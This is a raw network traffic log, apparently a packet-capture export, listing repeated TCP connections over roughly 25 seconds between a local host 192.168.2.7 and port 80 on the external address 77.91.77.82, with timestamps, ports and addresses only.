Jun 30, 2024 10:25:00.175050974 CEST	57559	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:00.175293922 CEST	80	57560	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:00.178667068 CEST	57560	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:00.218353033 CEST	57560	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:00.223203897 CEST	80	57560	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:00.897881031 CEST	80	57560	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:00.897965908 CEST	57560	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.014858961 CEST	57560	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.015315056 CEST	57561	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.020035028 CEST	80	57560	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:01.020100117 CEST	57560	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.020153046 CEST	80	57561	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:01.020215034 CEST	57561	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.020641088 CEST	57561	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.027962923 CEST	80	57561	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:01.745954037 CEST	80	57561	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:01.746012926 CEST	57561	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.748961926 CEST	57561	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.749413967 CEST	57562	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.755290985 CEST	80	57561	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:01.755428076 CEST	80	57562	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:01.756514072 CEST	57561	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.756515026 CEST	57562	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.756982088 CEST	57562	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:01.761948109 CEST	80	57562	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:02.483633995 CEST	80	57562	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:02.484554052 CEST	57562	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:02.732625008 CEST	57563	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:02.732625961 CEST	57562	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:02.737884998 CEST	80	57563	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:02.738143921 CEST	57563	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:02.738490105 CEST	57563	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:02.738961935 CEST	80	57562	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:02.739085913 CEST	57562	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:02.744000912 CEST	80	57563	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:03.469155073 CEST	80	57563	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:03.469538927 CEST	57563	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:03.473170042 CEST	57563	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:03.473606110 CEST	57564	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:03.479016066 CEST	80	57564	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:03.479036093 CEST	80	57563	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:03.479089975 CEST	57564	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:03.479127884 CEST	57563	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:03.479329109 CEST	57564	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:03.484232903 CEST	80	57564	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:04.173551083 CEST	80	57564	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:04.174268007 CEST	57564	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:04.279695988 CEST	57564	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:04.279952049 CEST	57565	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:04.284827948 CEST	80	57565	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:04.285214901 CEST	57565	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:04.285309076 CEST	80	57564	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:04.285346985 CEST	57565	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:04.285599947 CEST	57564	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:04.290307999 CEST	80	57565	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:04.993174076 CEST	80	57565	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:04.993230104 CEST	57565	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:04.998522997 CEST	57565	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:04.999103069 CEST	57566	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.003734112 CEST	80	57565	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:05.003844976 CEST	57565	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.004403114 CEST	80	57566	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:05.004502058 CEST	57566	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.004895926 CEST	57566	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.009834051 CEST	80	57566	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:05.737462997 CEST	80	57566	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:05.737545013 CEST	57566	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.856817007 CEST	57566	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.860913992 CEST	57567	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.862063885 CEST	80	57566	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:05.865832090 CEST	80	57567	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:05.866579056 CEST	57566	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.866585016 CEST	57567	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.870390892 CEST	57567	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:05.875247955 CEST	80	57567	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:06.573040962 CEST	80	57567	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:06.575238943 CEST	57567	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:06.578366041 CEST	57568	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:06.578569889 CEST	57567	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:06.583236933 CEST	80	57568	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:06.583549023 CEST	80	57567	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:06.586472988 CEST	57568	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:06.586827040 CEST	57567	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:06.586906910 CEST	57568	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:06.591808081 CEST	80	57568	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:07.293140888 CEST	80	57568	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:07.293205976 CEST	57568	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:07.436433077 CEST	57568	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:07.436765909 CEST	57569	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:07.441838980 CEST	80	57569	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:07.441919088 CEST	57569	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:07.442365885 CEST	80	57568	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:07.442425966 CEST	57568	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:07.443099976 CEST	57569	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:07.447942019 CEST	80	57569	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:08.135823011 CEST	80	57569	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:08.141062975 CEST	57569	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.141062975 CEST	57569	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.141362906 CEST	57570	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.146087885 CEST	80	57569	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:08.146131992 CEST	80	57570	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:08.146486044 CEST	57570	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.146486044 CEST	57569	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.146913052 CEST	57570	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.151684046 CEST	80	57570	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:08.839303017 CEST	80	57570	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:08.839432001 CEST	57570	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.951793909 CEST	57570	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.952351093 CEST	57571	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.969547033 CEST	80	57570	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:08.969604015 CEST	57570	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.969927073 CEST	80	57571	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:08.970000982 CEST	57571	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.970278978 CEST	57571	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:08.980488062 CEST	80	57571	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:09.307100058 CEST	57571	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:09.312541962 CEST	57572	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:09.317384958 CEST	80	57572	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:09.317456961 CEST	57572	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:09.317907095 CEST	57572	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:09.324203014 CEST	80	57572	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:10.032627106 CEST	80	57572	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:10.034449100 CEST	57572	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.159575939 CEST	57572	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.160123110 CEST	57573	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.164870024 CEST	80	57572	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:10.165152073 CEST	80	57573	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:10.168661118 CEST	57572	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.168665886 CEST	57573	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.168884039 CEST	57573	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.173686028 CEST	80	57573	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:10.858305931 CEST	80	57573	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:10.858407974 CEST	57573	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.861023903 CEST	57573	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.861357927 CEST	57574	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.866214991 CEST	80	57574	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:10.866308928 CEST	57574	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.866498947 CEST	57574	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.866513014 CEST	80	57573	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:10.866570950 CEST	57573	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:10.871562004 CEST	80	57574	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:11.566019058 CEST	80	57574	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:11.566087961 CEST	57574	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:11.687536955 CEST	57574	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:11.687855959 CEST	57575	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:11.694257021 CEST	80	57574	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:11.694315910 CEST	57574	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:11.696424007 CEST	80	57575	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:11.696499109 CEST	57575	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:11.696928024 CEST	57575	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:11.701704025 CEST	80	57575	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:12.413461924 CEST	80	57575	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:12.414083004 CEST	57575	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:12.416714907 CEST	57575	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:12.420512915 CEST	57576	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:12.421931982 CEST	80	57575	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:12.422528028 CEST	57575	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:12.425331116 CEST	80	57576	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:12.425458908 CEST	57576	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:12.425668001 CEST	57576	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:12.430404902 CEST	80	57576	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:13.135348082 CEST	80	57576	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:13.135420084 CEST	57576	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:13.255609035 CEST	57576	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:13.256267071 CEST	57577	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:13.260874033 CEST	80	57576	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:13.260934114 CEST	57576	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:13.261157036 CEST	80	57577	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:13.261214972 CEST	57577	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:13.264348984 CEST	57578	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:13.269140005 CEST	80	57578	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:13.269212961 CEST	57578	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:13.269383907 CEST	57578	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:13.274240017 CEST	80	57578	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:13.996577978 CEST	80	57578	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:13.996812105 CEST	57578	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.108447075 CEST	57578	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.108447075 CEST	57579	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.113823891 CEST	80	57579	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:14.113982916 CEST	80	57578	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:14.116610050 CEST	57579	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.116619110 CEST	57578	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.120493889 CEST	57579	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.125485897 CEST	80	57579	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:14.833193064 CEST	80	57579	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:14.833252907 CEST	57579	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.836968899 CEST	57579	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.837440014 CEST	57580	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.842099905 CEST	80	57579	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:14.842144012 CEST	57579	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.842288017 CEST	80	57580	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:14.842369080 CEST	57580	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.842645884 CEST	57580	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:14.847497940 CEST	80	57580	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:15.552557945 CEST	80	57580	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:15.552624941 CEST	57580	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:15.682523012 CEST	57580	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:15.682935953 CEST	57581	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:15.687752008 CEST	80	57580	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:15.687805891 CEST	57580	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:15.687911034 CEST	80	57581	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:15.687975883 CEST	57581	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:15.688100100 CEST	57581	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:15.693298101 CEST	80	57581	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:16.384104967 CEST	80	57581	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:16.385468960 CEST	57581	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:16.388510942 CEST	57582	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:16.388510942 CEST	57581	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:16.393425941 CEST	80	57582	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:16.393752098 CEST	57582	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:16.393790007 CEST	80	57581	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:16.394001961 CEST	57582	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:16.394001961 CEST	57581	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:16.398933887 CEST	80	57582	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:17.093935013 CEST	80	57582	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:17.094005108 CEST	57582	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.201178074 CEST	57582	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.201673985 CEST	57583	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.206417084 CEST	80	57582	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:17.206478119 CEST	57582	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.206789970 CEST	80	57583	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:17.206856966 CEST	57583	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.207052946 CEST	57583	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.211858988 CEST	80	57583	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:17.897157907 CEST	80	57583	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:17.900058985 CEST	57583	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.900058985 CEST	57583	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.900434971 CEST	57584	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.907392979 CEST	80	57584	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:17.908008099 CEST	80	57583	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:17.909565926 CEST	57584	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.909565926 CEST	57583	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.912447929 CEST	57584	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:17.917541027 CEST	80	57584	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:18.602004051 CEST	80	57584	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:18.604476929 CEST	57584	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:18.718359947 CEST	57585	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:18.718470097 CEST	57584	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:18.723310947 CEST	80	57585	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:18.723838091 CEST	80	57584	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:18.723992109 CEST	57585	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:18.724020958 CEST	57584	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:18.726367950 CEST	57585	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:18.731182098 CEST	80	57585	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:19.443257093 CEST	80	57585	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:19.443319082 CEST	57585	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:19.447617054 CEST	57585	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:19.448081970 CEST	57586	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:19.452917099 CEST	80	57585	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:19.452967882 CEST	57585	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:19.452980995 CEST	80	57586	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:19.453043938 CEST	57586	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:19.453154087 CEST	57586	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:19.458540916 CEST	80	57586	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:20.155234098 CEST	80	57586	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:20.155884981 CEST	57586	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.262543917 CEST	57586	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.263025999 CEST	57587	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.268882036 CEST	80	57586	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:20.269052029 CEST	57586	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.269052982 CEST	80	57587	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:20.269258976 CEST	57587	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.269356012 CEST	57587	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.275263071 CEST	80	57587	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:20.965120077 CEST	80	57587	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:20.965205908 CEST	57587	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.969479084 CEST	57587	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.969885111 CEST	57588	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.975131035 CEST	80	57587	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:20.975183010 CEST	57587	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.975500107 CEST	80	57588	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:20.975580931 CEST	57588	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.975878000 CEST	57588	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:20.981225014 CEST	80	57588	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:21.688978910 CEST	80	57588	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:21.689058065 CEST	57588	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:21.794361115 CEST	57588	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:21.794364929 CEST	57589	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:21.799448013 CEST	80	57589	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:21.800448895 CEST	80	57588	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:21.802509069 CEST	57588	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:21.802544117 CEST	57589	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:21.806386948 CEST	57589	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:21.811268091 CEST	80	57589	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:22.528328896 CEST	80	57589	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:22.533312082 CEST	57589	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:22.538398981 CEST	57589	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:22.538398981 CEST	57590	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:22.543268919 CEST	80	57590	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:22.543634892 CEST	80	57589	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:22.543756008 CEST	57589	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:22.543756008 CEST	57590	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:22.543981075 CEST	57590	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:22.548784018 CEST	80	57590	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:23.242548943 CEST	80	57590	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:23.242620945 CEST	57590	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:23.358422041 CEST	57590	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:23.358882904 CEST	57591	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:23.364373922 CEST	80	57590	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:23.364394903 CEST	80	57591	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:23.364437103 CEST	57590	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:23.364500999 CEST	57591	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:23.364898920 CEST	57591	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:23.369651079 CEST	80	57591	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:24.078691959 CEST	80	57591	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:24.078968048 CEST	57591	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.081614971 CEST	57591	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.082300901 CEST	57592	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.087438107 CEST	80	57592	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:24.087744951 CEST	57592	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.087987900 CEST	57592	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.092894077 CEST	80	57592	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:24.094415903 CEST	80	57591	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:24.094891071 CEST	57591	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.798707962 CEST	80	57592	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:24.798783064 CEST	57592	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.906935930 CEST	57592	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.907543898 CEST	57593	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.912151098 CEST	80	57592	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:24.912209988 CEST	57592	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.912369013 CEST	80	57593	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:24.912437916 CEST	57593	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.912760973 CEST	57593	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:24.917484045 CEST	80	57593	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:25.630445957 CEST	80	57593	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:25.630511999 CEST	57593	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:25.634489059 CEST	57593	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:25.635082960 CEST	57594	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:25.639931917 CEST	80	57594	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:25.640017033 CEST	57594	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:25.640208960 CEST	57594	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:25.642568111 CEST	80	57593	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:25.642628908 CEST	57593	80	192.168.2.7	77.91.77.82
